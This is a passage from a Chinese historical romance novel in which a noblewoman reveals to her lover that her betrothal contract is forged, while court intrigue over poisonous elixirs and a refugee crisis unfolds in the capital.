他泰然道:“何需凭证?皆为利尔。” 荆扬两州皆为南地,但主要官员也非全是本地世家豪强,就如王斐如,也只得別驾,周准倒是好些,可其下也有朝廷下派的钳制官员,以免坐大,众人皆是私下联结,等待一个或许来或许不来的机会。 既皆为利为己,又何需凭证? 但沈遐洲不信,王瑞不会平白替王静姝着想,尤其还是那种带着教训意味的别样帮助。 他漆黑眼瞳动了动,面容越发隽冷:“王公,我可以证实你想要的机会,但你要说实话,同你家女郎有关是吗?你利用她交易了什么?” 他背铜架灯烛而立,整个人像是掩去了独属人的温度,阴冷诡谲,犹如索命的厉鬼。 王瑞脑中似有什么划过,想到一个可能,原他的诸多猜测都是错的,沈三郎非是忽想同王氏的算账,也非是忽地想借王家的势,沈三郎为的是六娘。 他怎就忘了六娘曾为沈三郎奔去太原,显然的,这两年轻人的余情并未了,至少他眼前的年轻是的。 可沈遐洲知道六娘已许人,甚至签有婚书了吗? 王瑞并不在意两个年轻人之间的情情爱爱,可这情爱不得影响他的大事,六娘同荆州周家郎君的亲事不能被破坏,一知沈遐洲的真正来意,他沉下脸,断无可能地道:“六娘本是我王家女郎,父母之令媒妁之言,又谈何交易?” “六娘顽劣,昔日同沈郎君或有些情丝,但早已同周家郎君定下亲事,沈三郎还是断了念的好。” 沈遐洲终是从王瑞这得到了答案,腮帮紧咬,目眦欲裂,原来王静姝竟是用自己的婚事为凭,令王瑞信任,也令王瑞为她用。 王静姝竟瞒了他此事,她在骗他! 但他非是怀疑女郎对他的心,他只是心疼和难过,心疼女郎的处境也并不好,她貌美,总被觊觎,又有一个总欲用她换些的什么的大伯,她不想被王瑞献给陈雍,那就得用自己婚事换取更大的利益用以令王瑞衡量,她要躲开参祭,王瑞选了最令她吃苦头的方式,令她伤了腿。 可就是这样的女郎,不曾在他面前显露自己的难处半分,她在用自己的方式,为他而来。 沈遐洲脸秀白而眼神阒黑,无限酸楚被抑在其中,垂着的手指节都好似在发颤,他几步逼近王瑞,眸色陡然狠厉,“我不杀你,我也不会攀附借势你王家,但我会帮你。” “大绥并驾帝王的第一大世家,王公,我会帮你。” “慕容部族不会止步幽州的,你便携着天子滚回南地去吧。” 王瑞一时被沈遐洲的的强大气势所摄,一时又为听出他话中意思的兴奋与惊恐,兴奋于能与帝王相匹的第一世家是他毕生所求,然又惊恐于沈三郎好大的口气,他难道是想借慕容部族的手将陈雍逼至迁都?他到底要做什么?又能做什么? 沈遐洲不再管他所留下的话信息量有多大,再多同王瑞待上片刻,他怕是要控制不住捏断他脖子。 沈遐洲来时,所带卫士锋锐无比,走时却如潮退,只余满地的血迹尸体。 但沈遐洲并非彻底离开,他早已对大司农府的构造熟如自家花园,他轻易寻得王静姝的院子。 女郎的房中熏着染甜的香,外间留了起夜的微烛,屏风后放下的幔帐垂地绚烂,他缓步上前,撩开一角,女郎墨发如檀,雪颊莹莹,但眉心却微蹙,被下的身子也扭动一下,似睡得不踏实。 沈遐洲垂眼,手落至她面颊,轻撩一下鬓角,轻声似喃:“卿卿,你到底还瞒了我多少事?” 他没有等到答案,却也不曾就此离开,移至女郎搭在被外的伤处,指腹触上。 王静姝本就因伤处一直睡得不踏实,对从脚腕伤处传来的痛感也尤为敏感,摩挲般的痒意和痛感令她一瞬惊醒,抽脚就踹。 但下意识的动作,非但没抽回脚,反哎呀痛得她弹起身,湿润眼眸扫得沈遐洲无措松手:“卿卿,我只是想看看你今日伤好些了没?” “伤筋动骨一百日,哪有这般快。”王静姝白了他一眼,用手撑起身,对沈遐洲又夜探香闺并无有意外。 这是她伤的第三日,从第一日起就没能瞒过沈遐洲,只她另有旁的事瞒沈遐洲,故不愿沈遐洲对此深究,一直哄他是意外,此刻见他也不过当是寻常。 不过,或是熏香的缘故,自沈遐洲身上的传来的不一样的气味尤其突兀,有点冷冽,还有些铁锈的味道,过往她对血的气味也是不曾留心的,可沈遐洲这样的郎君实在又脆弱又疯病,常杀人后坐在她床头,她便对这种气味敏感了起来。 她余留的睡意也在一瞬清醒,抓住了沈遐洲的衣袖,昏暗的室内,她没有沈遐洲那般好的目力,只能吃力更靠近他一些,问:“沈九如,你是又发病了吗?” 她想不出除了发病外,又有什么由头让他竟又在杀人后来这般鬼 魅坐在她床头,还用一种似被辜负了眼神望她。 沈遐洲按住锦被倾身向她:“王静姝,你骗我。” “你定亲了,夫郎不是我。” 他们相对,这种面对面靠近的距离,即便王静姝没有沈遐洲的好目力,也足够她看清,她面前的郎君长睫覆着眼,低着容,鼻弓投影,微白面色比窗外的悬月都要皎白苍凉。 这样忧愁秀致的模样,一会让王静姝为他所知心惊,一会又让她心间发麻。 甚至有些奇怪,沈遐洲竟然没有生气。 她一时玩兴起,拾他肩上发在指节上转着撩眼:“你不生气?” 她实在是坏,沈遐洲堵在心口的气都险些没上来,双目忍耐得赤红,腮帮紧得在发颤,显然是气狠了。 王静姝便知他哪里是不气,他是在装相。 可到底怕他气出个好歹来,手覆上他胸膛,为他顺气。 然她的手下一刻便被握着,且那力道还在收紧,像是发狠了般搓捏:“你又气我。” 沈遐洲声音也如挤出来般咬牙切齿,甚至低头在女郎的指尖咬了一口,但这一口后,他好似泄了气,变得低落,浓长眼睫也在颤:“卿卿,我不生你气,我更气我自己。” 他本就是极好看的郎君,此刻缓缓掀眼间,眸光便更如水墨氤氲般潋滟凄楚,让人目眩。 王静姝心跳快一分,便想亲亲他,告诉他,其实都是假的,她根本没有定亲,也没有婚书。 她抿唇一笑,嫣红唇瓣一张一合如诱如妖:“沈九如,你亲亲我,我告诉你一个秘密可好?” 第83章 第83章做我的小娇夫 女郎仰脸噙笑,漂亮得像朵鲜妍牡丹,招展极了。 沈遐洲盯着她唇瓣,像是什么都没听进去,又像是早已落入她的蜜网中,女郎话落的下一瞬,唇瓣便已被含住,齿关轻噬,眷恋温柔。 她如醉了酒般,被亲得舒展喟然。 同喜爱的人亲吻,从来都是快乐极了的事,他们气息交缠,总觉得离得不够近,不满足于唇齿的相碰,舌也在口腔中嬉戏追逐。 亲吻的细碎水声,就在极近的颅脑中回响,响得人心跳愈发急促,也愈发心悸。 女郎沉醉于此,二人气息稍有分开,她便又将郎君扯回,紧攥着他的衣襟索吻,她总觉不够醉,还不够享受,直至分开,也满眼的濛雾,像是要滴出水一般的潋滟荡漾。 仰脸懵然间,沈遐洲也同样在看她,他的脸红同是压也压不下的激荡。 王静姝便笑:“沈九如,你亲得我好舒服。” “再来一次好吗?”她仰脸嘟唇,锦被堆在一侧,满身是寝衣也遮不住的婀娜,皓肤雪颈,香罗托腰,半月小、乳微现。 光是看一眼便血脉砰张的程度,何况她还这般诱他。 沈遐洲瞳光骤然紧缩,他轻易就被撩拨得丢盔弃甲,他倾向女郎,女郎也仰颈。 然下一刻,王静姝便被粗鲁扯过的锦被裹了身。 王静姝怔住,唇都惊讶得张成O形,半响发不出声。 而他跟前的郎君,面颊诡异的红,坐姿却好一派的端然,哑声瞥她开口:“说吧。” 王静姝显然没回味过他的意思,只用如怨如痴的目光不断控诉他,甚至连目光都是不安分的,眼风总往郎君最脆弱的地方瞟,大有“你真能忍?”“你怎还能忍?”的意味。 沈遐洲被她大胆直白的视线撩得面上越发烧红,连坐都难安,不得已用手捏住王静姝的下颌,抬起她乱瞟的眼,令她只看他,咬着牙提醒:“你的秘密。” 王静姝眼波闪了闪,终于想起了什么,但她不语,只凝着沈遐洲,一双钩子般的眼满是动摇和兴致,她觉得她的郎君甚是好懂,也甚是有趣,他总装出一副正经的模样,然后不经意地就撩她一下。 她一颗心就像是被毛茸的尾巴拨一下,浑身都酥了。 她轻摆一下头,脱开沈遐洲钳着她颌的手。 沈遐洲被她动作蹭一下,女郎的发丝从他手侧溜走,抬眼去追,却见王静姝自己拉下了锦被,莹润的肩头,玉藕般的臂。 然后她的手便搭上了他的腿。 沈遐洲猛地一僵,眼尾勾红不已,死死抑制几欲喟出声的喘,也死死盯住女郎白净青葱般的手。 那手坏极了,摩挲上移,女郎的眼风更是跟着一瞟某处笑道:“我帮帮你,再告诉你?” 也不知他是如何想的,一把拍开了女郎的手,一扯本来就没乱的衣袍,整得越发贞烈端然。 王静姝手被拍一下,委屈收回,可再看他羞涩又装相的模样,直趴伏在锦被上笑:“沈九如,可真有你的。” “你就装吧。” 她其实根本没碰到郎君的某处,甚至连摸腿都是隔着层层的衣料随意搭了搭,分明是他自己反应过大,却反过来拍开她。 她面颊因笑而绯红,可望来的眸却如春波般魅,笑语也满是嗔态。 沈遐洲实在难忍,又扯过被为她盖上,提醒:“秘密。” 极简单的二字,却像是用了他极大的忍耐力一般,沙哑低沉。 再被包裹一通的王静姝,也不再逗他,她知的,她的郎君便是这样一个人,羞涩又常在很多时候执拗地讲究着些什么。 他方杀过人,又是在大司农府,他不想这么同她胡来,且他们上一次还是许久以前到仍在太原时,他会伤着她的。 当然,还有王静姝是个坏女郎的缘故,他疑心王静姝就是想哄他,哄着哄着便不了了之了,她常这样,就如她方受伤时,便随意搪塞他。 王静姝知拗他不过,拥着被坐好,受伤的脚腕也放置最舒服的姿态,回望沈遐洲认真道:“我没有定亲,也没有婚书。” “都是假的,我骗王瑞的。” 她简直目无尊长,直呼王瑞名,可就是这样的女郎,直白地表明她是同沈遐洲一边的。 许是怕沈遐洲不信,她指使着沈遐洲去点灯,然后从一个匣子中将那假婚书取来。 “我阿父仿得一手好字,何人的字到了他手中都能以假乱真。”王静姝说着,将那婚书展开。 王斐如同周准确有一些私下往来,但那往来同她半分干系也没有,她只能让她自己同其扯上干系,毕竟王瑞精明,一般的说辞还真诓不得他。 她用一纸假婚书,让王瑞相信她就是荆扬两州联结的纽带,他必须保护好了她,也不能随意指使处置她,且以王瑞的谨慎和野心,还会将此事瞒得紧紧的,何为党争,那就是谁也见不得谁好,王瑞已经渔翁得利将青州谋到了王氏中人的手中,再来一个这婚事,是人都能瞧出他何心思,能不给他使绊子吗? 王静姝就是基于这一点,觉得无人知晓,便也没有必要告知沈遐洲,她知沈遐洲心眼比蚂蚁还小,又占有欲强,就算是假的,怕是知道了都得气。 然从沈遐洲问出口那一刻,这秘密瞒不瞒其实也没甚两样了,她将缘由说完,抬眼,心顿时咯噔一下。 只见得她眼前郎君目若火烧,似要将盯着的婚书灼出洞来。 王静姝一时忐忑,他不知沈遐洲怎还这么大的反应?他不是在今夜寻来前就已知此事了吗?且她还尤为好声气地解释了呢。 再说她还特意同他亲亲了,他怎还这么难哄? 案几新点灯烛,幽火摇摇晃晃,将二人影子拉得老长,也将二人之间的气氛映得幽微难定。 王静姝一时吃不准他到底在想什么,便抬手遮了那假婚书:“都是假的,何必再看。” 沈遐洲如冷玉般的面庞抬起,他本就天生的隽逸,又自带几分病态,一旦怅然伤感起来,便如一场连绵秋雨,落得人心揪疼。 他捏开女郎挡在假婚书上的手,指着念:“两姓联姻,一堂缔约……花好月圆,白首永偕……” 越读至后,他的嗓音越如砂砾磨过一般带涩。 王静姝听得眼一红,去捂他唇,“不要念了。” 她知道他在伤怀什么了,她对待感情炽热随心而动,但总不如沈遐洲一般细腻,也不如他什么都看重,什么都在意。 就好比这样一份假婚书,她随意就能将自己的名,同一不识之人签在一块,可沈遐洲却会被刺痛,即便是假的,他也受不了上面的各种两姓缔约之词。 她张张唇,竟哑然得一时说不出什么,千般念头过心,她大可以哄他答应他给他也写一份,但又觉太过随意,咬唇按下。 沈遐洲也有所感一般用手拭她眼角:“卿卿,你哭了?” 王静姝摇头。 沈遐洲叹一声,道:“其实是我不好,我该去信阻你入洛的,是我自私,总不够信你。” “卿卿,你该怪我的。” 他本有机会送信去阻王静姝,可他犹豫了,他疑心女郎或会变心,疑心女郎不会再选他,在得女郎最后人洛的选择,他心底犹有猛兽抓挠,甚至怀疑过女郎是否真的对陈雍有所图。 可随着女郎的到来,他所有的怒恨不平皆被她抚平了,他也开始重新喝药,他好像又好了许多,然此前所有对女郎所存试探的阴晦用心,他怎么都不敢令女郎知晓。 此刻的揭开,他难过又自责,婚书之上的任一字都在刺他的眼,可他得受着,这是他自己造的因,若非他,女郎或不用造出此等假婚书。 王静姝对沈遐洲太过了解了,即便是寥寥的几句话,也足够她厘清前因后果,然她却不认同:“沈九如,你看我。” “我问你,你是早知陈雍点我领祭舞吗?” 沈遐洲做好被女郎审判的准备,此刻她问,他便答:“不是。” 王静姝弯了弯唇,想也知不是,她早就从王闻俭那知道得清清楚楚,这就是一个谁人也没料到也突然极了的天子旨意。 “既如此,那我告诉你,除非你能令旨意收回,否则,只是去信阻我,你当我便会听你的吗?” “我想要的可比你想的多多了。” “我既想见你,又想我阿父付出的努力皆不付诸东流,我还想王瑞为我用。” “你不总说我是坏女郎吗?所以你莫要多想了,你该想,我这样的坏女郎,同你这样疯郎君正相配。” 她说着用自己的额碰了郎君的额一下,吐气如兰:“我阿父可厉害了,刺史都被他拿捏得听他的,说不得哪一日,你或还要做我的小娇夫。” 扬州刺史薛远在王斐如没出仕时,就对王斐如的文章才学极为推崇,后王斐如成了他的佐官,更是恨不得将王斐如供起来,日日同他探讨学问,至于王斐如在他眼皮子底下做了什么,这人要么不知,要么稀里糊涂地还帮着做了,有时还要反过来夸王斐如的提议好。 王静姝想到便想笑,再则她自来是不驯的女郎,看一眼沈遐洲那病恹恹又境遇不好的模样,小娇夫的念头脑中一闪而过,也自然地说出了口。 沈遐洲早被她一番说辞给震住了,等回过味来最后几字,几乎是磨着牙般地咬她全名:“王静姝,你可真敢想。” 王静姝扬眉望他,二人先才因假婚书而沉闷的气氛瞬地消失殆尽。 后也不知互说了什么,女郎睡去,再醒时,那扰了她好半夜的郎君早已离去。 一早府医来为她换药,听闻,府中伤的还不止她一个,她大伯也忽发疾,告了假。 第84章 第84章丹华 听府医说起大伯也受了伤,王静姝眸光不由闪了闪,便问起王瑞是伤在何处?伤的如何? 府医支吾不言,懊恼说漏了嘴。 明显的,昨日夜里发生的事,还有死去的卫士,都是悄悄的处理,只府医需要给王瑞瞧伤上药,才漏了点风声出来。 王静姝打探不出什么,但料定定然是同沈遐洲昨夜的来访有关。 她也不再多问,该装傻的时候适时装傻。 然宫中再一次派出医官给王静姝诊治和带来御赐药物时,众人终是知晓冬至祭天的主祭又换人了。 好在王静姝本就没顶替多久,太乐署原先的舞人也一直准备着,不至于为此慌乱。 但仍旧有人在听得这个消息后动了怒—— 大绥皇宫经一代代帝王的修缮,宫殿极多,叠次重檐庑廊远观直如粼粼波浪,香台殿在其中尤为精致但又稍显特殊。 精绮奢丽自是不用说,可即便是白日,宫殿周遭都像是笼了一层薄薄的纱雾,连空气中都弥漫着一股丹砂药味。 宫婢黄门在殿中如梭般往来服侍,其中还交织着些医官与道门中人。 殿中燃香袅袅,陶然在罗帷后发怒,怒医官与道人的无用,竟一月过去,仍不能令她好转。 毡绒地毯上跪了一地的医官与道人,垂头请罪之际,医官满是怨意地扫了一眼长须道人及背后的道童们,这些道人炼出的丹药令陶贵嫔满身生疮,红肿溃烂,收拾不了的烂摊子,却连累了他们这些医官也一同遭难,日日施针也不过令贵嫔能下床,旁的实在是贵嫔娘娘身子中积攒的丹毒一时过多,难以发散。 但“不能治”是绝不能说出口的,宫中无皇后,位份最高的也就是陶贵嫔了,且尤得天子看重,其父又是天子现仰仗的大将军,这便是不能治也要治,可心中实在恼恨,请罪时便次次都要踩一脚那些炼丹道人。 同医官跪在一处的玄诚道人也冷汗不断,在他为贵嫔炼药前,早已死去师傅并数位师兄弟,他也想不明白,过往师傅炼出的丹药皆是好好的,怎忽地就混错了量比,还呈给了贵嫔,贵嫔现下一面需医官诊治给施针排除丹毒,一面又离不开丹药。 他们不得不继续炼制丹药的同时,项上的脑袋也时时有落地的风险。 玄诚道人完全无暇顾及医官不断投来的怨恨目光,赶在其拉踩前赶紧送上新炼制的丹药。 赤红丹药装在铺着软锦的盒中,陶然看一眼,不觉舒畅,反更生出一股难言的怒,红疮未消的颊靥扭曲怨毒。 隔着幔帐,众人瞧不清她的神色,只见得一个宫婢转出幔帐,请出医官后,留下数位道人。 医官是宫中正经当差的,不能随意处置,可这些道人不一样,从一开始就帝王借她名义从大绥各地招罗来的,他们为帝王和她制药,制出各种配方药散,再以高价售与世家富户子弟。 陶然也喜丹药石散,可一日间,这些竟给她带来不可逆转的伤害,她如何不恨,似含毒般的女声穿过的幔帐:“让他们试药。” 殿中香雾缭绕间,个个道童连同玄诚道人皆不得不服用数丸丹药,他们的命在陶然眼里根本不算什么。 令他们试的也完全是过量的用法,年岁小些的童子,有受不住药性的已在肌肤上抓出一道道血痕,但大部分道童都耐住了,尤其是玄诚道人,许是对此早有所准备,又常年服药,数丸药下去,面有红光,精神反倒更好了:“娘娘,此药已改过数十次配方,娘娘大可放心用。” 陶然捏着赤红药丸,承认这药确实没有问题,可越是没问题,才更显玄诚道人师傅的失误可恶,她被毁了,光是经一月接连不断的施针才能起身下榻,便已是万幸,可她仍旧离不开这些丹药,一旦停食,她便比全身溃烂还难熬。 期间陈雍来看望过她一次,说的都是一些安抚的话,令她心安,可之后便再未来过。 尤其是近日,她听闻陈雍特地命医官出宫给王静姝看伤。 王静姝!王娘子! 赤红丹药陡地被陶然捏碎,是她出的主意,将王静姝请至洛京,她无比想见这个往日骄傲无比的王娘子匍匐在脚下,也无比想击碎王静姝的骄傲,她想令王静姝知道世家贵女出身又如何,她陶然才是一直赢到最后的。 她还为王静姝备好了祭天后的去处,一处都是她人的庙宇,只要王静姝参祭时出一点错,她便能提议将王静姝送到那庙宇,有吃不完的苦头在等王静姝。 陶然也一直知陈雍对王静姝的觊觎,从一开始指向王静姝的恶意就利用了这一点,她也相信,到时她的提议一定会被采纳,只因陈雍再觊觎王静姝,也没 有在世人面前,关乎他皇位所祭鬼神认可来得重要,且送到庙宇中,王静姝还不是任由他们处置。 可现在她还什么都没来得及做,王静姝竟已退出了参祭。 为何王静姝就这般好命? 为何只有她变得如今人不人鬼不鬼的? 尖厉的叫声伴着一堆瓷器碎裂从层叠帷帐后传出,外头婢女宫侍跪了一地,还浸在药效中的道童皆吓得一抖,就在玄诚道人忧自己头上脑袋时,里头传出陶然似冷静又似疯过头的声音: “将玄慈道长炼的最后一炉丹都送来。” 玄诚道人惊得瞠目,玄慈是他早已人头落地的师傅,而他炼的最后一炉丹,无疑是配错量比令陶然瘫病的那一炉。 他不知这为何又会被提起,但只要能保住命,别说是那一炉丹了,就是让他再炼一炉出来也使得。 * 是日,王静姝送走宫廷医官不多时,收到了一匣贵嫔赐下丹药,赤若烧霞,称配有灵芝仙草,可治万病,无不愈者。 送药来的宫婢一边夸此药,一边用眼瞧王静姝,大有要见她服下才走之意。 王静姝食指轻敲着华美非常的匣子,眉眼带讥地轻扬:“既如此,你同我共服可好?” 宫婢面色一僵,她曾羡过宫中娘娘对的这些丹石药散的服用,偶得一点赏赐,都是欣喜极了地服用,顿感飘然欲仙,肌肤都好似更亮泽透香,可这一匣丹华,那是失败品啊,连贵嫔用下都难治的失败品! 她身子都不受控地抖了一抖,但立马假了陶贵嫔的威势:“婢不过一奴,何能用这般珍惜之物?王娘子还是莫要辜负了娘娘的一片心意。” 王静姝冷笑:“你既知你不过一婢,何来管我何时服用?” “贵嫔娘娘赐下的,我自然是要沐浴焚香,摒除杂念再服用,你这般假仗贵嫔娘娘之势,娘娘可知?” 陶然分明是对王静姝气得失智了,才送来一匣一看便知何用的药,王静姝能服是最好,若是不能服,她也没想过能如何。 宫婢也是跟着陶然作威作福久了,揣摩陶然用意,才非想见得王静姝服药好去讨功,可没想王静姝是强势极了的贵女,她也半分不怕给大司农惹麻烦,半点不委屈了自己,同往日被陶然请进宫中去的那些贵女一点也不同,就是宫中贵嫔跟前得眼的宫婢,也该下脸就下脸。 宫婢面色不好,却拿王静姝无法,留下一句似威胁的“禀告娘娘”,如何带着人来的,又如何带着人走了。 “娘子,这药?”瞧着人走了,竹沥对着药问。 王静姝极其嫌恶瞥眼,冷冷道:“扔了,扔得远一些。” 这点女郎之间的小插曲,并未给王瑞带来什么麻烦,也没阻碍一点冬至祭天大典的筹备,洛京城中也似一如往常般治下安定,百姓仍旧常去观佛事,偶还能分得一些据闻能治病的符纸,世家富户的子弟也仍醉生梦死般饮酒买药。 王静姝却越发少见沈遐洲了,她腿伤着几乎不出门是一方面,王瑞更加强了府中的护卫或也是一个原因。 她对外头发生什么,最重要的消息来源,也就剩下王闻俭了,王闻俭整日走街窜巷地巡逻,几乎每日都能给王静姝带来新鲜事。 冬至前夕的一日,王闻俭又说得唾沫横飞,“六娘,我觉得近日洛京越发奇怪了。” 王静姝捧着热茶适时“哦”一声,露出好奇神情。 “我日日路过的几家米粮铺子,连日来价钱涨了一倍。” 即便是涨了一倍,但对王闻俭这样含着金钥匙出生的郎君而言,根本算不上什么,可他见多了本就一直温饱上下的一些百姓在粮铺门口买不起粮,甚至被赶出的场面,常善心大发,掏出钱财补贴,一日日下来,也就上了心。 他继续道:“城外这些日子也忽地多出些流民,我打听到是一路从幽州奔逃来的。” “慕容部族根本没将他们当人!抢烧了他们的房子不说,还抢掠他们妻女,甚至、甚至——” 许是听到的太过超出人性标准,他气愤得光是想起就一团愤懑在胸,尤其是再看王静姝一团精致,不曾受过苦难见过险恶的面庞,话就生生地哽在胸腔中。 他只得换了个方向生气,拍桌道:“六娘你没见到,这些逃难来的百姓多可怜,身上瘦得一点肉都没有。” “他们一路啃着草根来企图得到天子的庇护,可他们非但分不得一碗稀粥,还要被驱赶,就只是为了明日的天子祭天大典!” 而他也是得上峰命驱赶他们的一员,他即便掏空了钱袋,将身上的干粮点心分给他们,也助不得他们一点。 这天也越发寒冷,也不知他们能不能撑得过去。 而天子祭天大典结束后又可能瞧见他们? 大绥的泱泱国土当真就要容忍异族嚣张吗? 自来养尊处优的少年郎竟第一次生出了不一样的情怀,可他除了生气仍旧迷惘,能听他说这些也唯有王静姝了。 王静姝垂着眼,几乎能想象王闻俭见到的流民情形,她并非没见过,大绥的弊病其实一直都在。 可她似乎更冷漠,更清晰知道这本就是在不断溃烂的王朝,只是现在那溃烂从皮下渗到了皮上,变得更显而易见了。 第85章 第85章剧情 王静姝的神情实在太过平静,王闻俭说了一会后,觉得六娘不曾亲眼所见,定然是理解不了他所说,干巴咂嘴一下,有些生气地坐下给自己倒水。 “流民都被赶到了哪?”王静姝倏地问。 王闻俭惊讶抬眸,他还以为六娘也同那些麻木世家子一样,对此毫不关心,听也不想听呢,当即又拾回了分享欲,急道:“被赶到了京郊的一处荒地,一直有人把守着,禁止他们往城中靠近。” 王静姝:“那他们现下是如何?可有人离开?” 王闻俭:“离开的并不多,他们一路奔逃至此,已是精疲力竭,又经被驱赶,皆指望着天子祭天后能安置他们。” 王静姝沉吟一会,继续问:“这些流民约有多少人?” “他们可知都有多少人逃离出幽州?后头可仍不断有人奔逃而来?” 王闻俭一时被问住了,挠头细想:“约莫有数百人,一直不断有人加入。” “听闻是有好几郡的百姓都在逃离幽州。” 王闻俭忽地被自己的回答惊住了,几郡的百姓,便是没有全往洛京来,那也绝非小数目,如今他们所见的流民怕只是冰山一角,再往后,还不知会有多少流民的涌入。 到那时,洛京极周边郡县,真的能容得下吗?数万甚至数十万的无居、无耕地,又不从事生产的流民,便是一人一碗稀粥也是极大的耗费,城中粮价还会只是翻上一倍吗? 且除去饥饿,还有严寒、疾病,会不断有人死去的!堆积的尸体要如何处理?光靠掩埋吗? 光是能想到的这些,就已令王闻俭后脊发寒,唇都有些颤:“六娘,怎么办?” “收拾包袱,回建业去。”王静姝道。 “六娘,我没开玩笑。”王闻俭简直要哭了,“你说,我若是告诉父亲怎么样?他们这些大臣总该提前为此做些商量吧?” 王静姝盯视王闻俭,并不阻拦他去寻王瑞。 王闻俭在她得盯视下,陡地泄了气,他被养得天真,但非全然是傻子,他是奉上峰的命驱赶流民的,那上峰又是受谁的命? 大批的流民聚集洛京城周边,难道朝中真的就无知无觉吗? 只有一个可能,什么都没有现下天子登基第一年的祭天重要,且洛京城中也多的是世家豪奢之族,死再多的人,也不会死到自己的头上,也不会自家没粮吃,既如此,流民而已,赶走便是了。 若主动去提及此,说不得要惹上麻烦,万一帝王还要从自家募粮募钱去捐给流民,那不是得不偿失? 只要一人不提,除非事态扩大到难以挽回的地步,便再不会有人主动去提的。 这便是如今的大绥朝堂。 “七郎,我是说认真的,你现下就可以回建业。”王静姝见他似想明白了什么,蔫了似的失去精神,斟酌地又重复了一次建议。 王闻俭与她不同,他比她更天真,也更善良,更没有做好迎接一个即将乱了的大绥到来。 而她,很早在长公主仍掌权时,便懵懂地经历过一次百姓饥饿、流离失所,聚在一块发生暴动后又被镇压的事件,且那时,还只是小规模小范围的事件,大绥也仍能将事态控制住。 可如今,便是阿父同她分析过,猜测过,也难料将来会如何,唯一可以肯定的是,南地一定是最后一块净土,要乱也只会从北地乱起。 王闻俭早日回建业,或可少一些痛苦。 王闻俭明显听出了王静姝话中将她自己摘出外的意味:“你都不走,凭何让我走,我还会比不得你一个女郎?” “别忘了,我如今身上可还担着职。” “再说,我走了,谁给你打听外头的消息?还有你那沈三郎的消息?”说着,王闻俭压低了声问她:“六娘,你说实话,你光让我走,是舍不得那沈三郎吧?” 王静姝白他一眼,觉得他聒噪,但王静姝毕竟见过一次流民的安置处理,多上些许经验,扎堆的流民聚在一起,疾病是难免的,但更要防的是疫病的产生。 王静姝不是善良到谁人都想救想帮的女郎,她本质是同许多世家子一般的自私,在帮助他人之前,她想更多的永远是自己。 她命竹苓将自己所有的积蓄都搬了出来,让王闻俭替她买足防疫的药物,还有一些粮食,再有余的才补贴给王闻俭,任由他去行善。 王闻俭早就因过多的善心囊中羞涩,见得王静姝搬出的钱财,顿时神色飞扬。 王静姝实不放心地一再叮嘱,才交给他去办。 送走王闻俭,王静姝瞧着自己少得可怜的零星碎银很是发愁。 竹苓却面带笑地要替她收起。 王静姝不让,哼她:“你娘子我如今怕是连你们的月钱都要发不出来了,你就不担心吗?” 竹苓摇头,笑意更深道:“婢子却是觉娘子如今越发可靠了。” 想往日,娘子同七郎君那是一起闯祸好玩乐的主,现没想,瞧着竟是先稳重可靠的那一个,银子没了又有什么要紧的,若真有疫病流行,娘子准备的东西才是能保命的。 王静姝怔愣一瞬,恍然惊觉自己竟真是成长不少,昔日的她可根本不会去深想这些,可又有什么办法呢,她也不过是努力掌握自己命运罢了。 她若从一开始就是个乖顺女郎,怕早就是一副红颜枯骨了。 然她如今仍活得好好的,那她便什么都不惧。 笑意自她颊上绽开,既张扬又炽如日,无所顾忌的女郎盛美非常。 * 晨风拂面,万象宁静,但场面排布却广阔极了,只见帝王着十二章纹祭服,群臣排列,各仪仗队使执幡肃立,望之隆重繁复。 祭天台高数十丈,每一层陈设皆讲究,祭品、器皿与各种礼器,多达上千件,而祭天台的最上层,共设七组神位,每组神位都单独搭有神幄。 最中间设有祝案,为帝王拜位。 台阶下,更是排列着编钟、编磐等诸多乐器组成的中和韶乐。 时辰一到,八音迭奏,玉振金声,帝王步行起驾,群臣相随,大典正式开始。 无论是迎帝神还是奠玉帛、献礼……每一仪程乐人都需奏不同乐章,舞者随之,领舞主祭尤为特殊,还需为帝王奉酒献爵。 所有仪程有条不紊地进行着,然及至于送神之时,天际忽现惊雷震动。 参祭者皆受严格训练,一点意料外的动静本不该令他们乱了阵脚,可无故惊雷,还是这样重要的时刻,从来不是什么好寓意,尤其惊雷一声响后,还不曾停止,又接连数响,一舞者惊乱下竟错了步伐,错了列位。 陈雍的面色难看到了极致,一应相关寺卿也不由渗出冷汗,坚持至大典结束,所有参祭之人皆跪下请罪。 好在有机敏能言的大臣高呼:“陛下,此乃惊蛰之雷,是好寓意啊!” “惊雷始,万物生,陛下好福气。” 惊蛰是为二月,可现在分明是冬月,这解读实属牵强,但大祭涉及的除去太乐署的乐工舞人,各司官员也不在少数,诸人便是为己,也纷纷上言是好寓意。 也由不得陈雍不信,他若不信,那就是他作为天子的错,没有做帝王的会允许不好的谶言落于己身,他甚至得感谢一开始高呼的臣子。 在众人一声声高呼好寓意中,他面色稍缓。 但在祭天中出错的乐工舞人,皆被看押,只待过了祭期再处罚。 从外头带回消息的王闻俭,直为王静姝庆幸。 然再过几日,天子祭天传出的“万物生”好寓意并未至,甚至完全相反,天气骤冷,城外越聚越多的流民陡地冻死许多。 洛京城中普通百姓的日子也越发难熬,他们的钱财完全不足以支撑日渐高涨的粮价。 倒不是他们皆不从事生产,没有余粮,而是洛京自来同旁的郡县不同,天子脚下,富庶者多,人口也更多,他们的营生也更多样,一直以来本地的粮食便常需从蜀与江南等地运来。 偏是这样的时候,每月按时售来的粮食还在途中遇到流民暴动被抢了。 因这,城中百姓与城外流民更是形同水火,且城中也实难承受不断增多的流民,不断冲突下,每日都有流民企图混入城中抢掠粮食衣物,城防戍卫的压力陡地增大。 僵局在持续着,京畿附近的暴动频繁,陶敬也被派出镇压。 以帝王对陶敬的依仗,若是一般情况少会指派他离开,然京畿本就在陶然的掌管下,却接连被暴动的流民抢走本该送至洛京的粮食,以至城中粮价飞涨,流民也难以安抚。 他受了天子斥责,除去镇压暴动外,还需夺回丢失的粮食。 好在就在京畿境内,任是吕相等人有任何不妥举动,陶敬都能及时回援。 与此同时,陈雍还在暗中下了一道令,清理城外过多的流民。 日日增多的流民已然让他失去了一开始的耐心。 一切如他所计划般进行着,一边清理流民,一边镇压暴动,他自觉算无遗漏,任是发生什么,都不能动摇他帝位,却不知,在陶敬带兵离开之后,有一队人马也紧跟其后。 第86章 第86章除夕(是剧情) 寒风过耳,枯枝残树如梭。 沈遐洲快马行在坡道之上,他距陶敬所带兵马至少隔有数十里的行程。 他没有急迫地想追上,但也紧随其后。 他面如玉,眸子却雪亮深邃逼人,要将陶敬引出洛京城可太难了,他唯有这一次杀了陶敬的机会,紧绷的神经令他专注,也令他不断飞转着思绪。 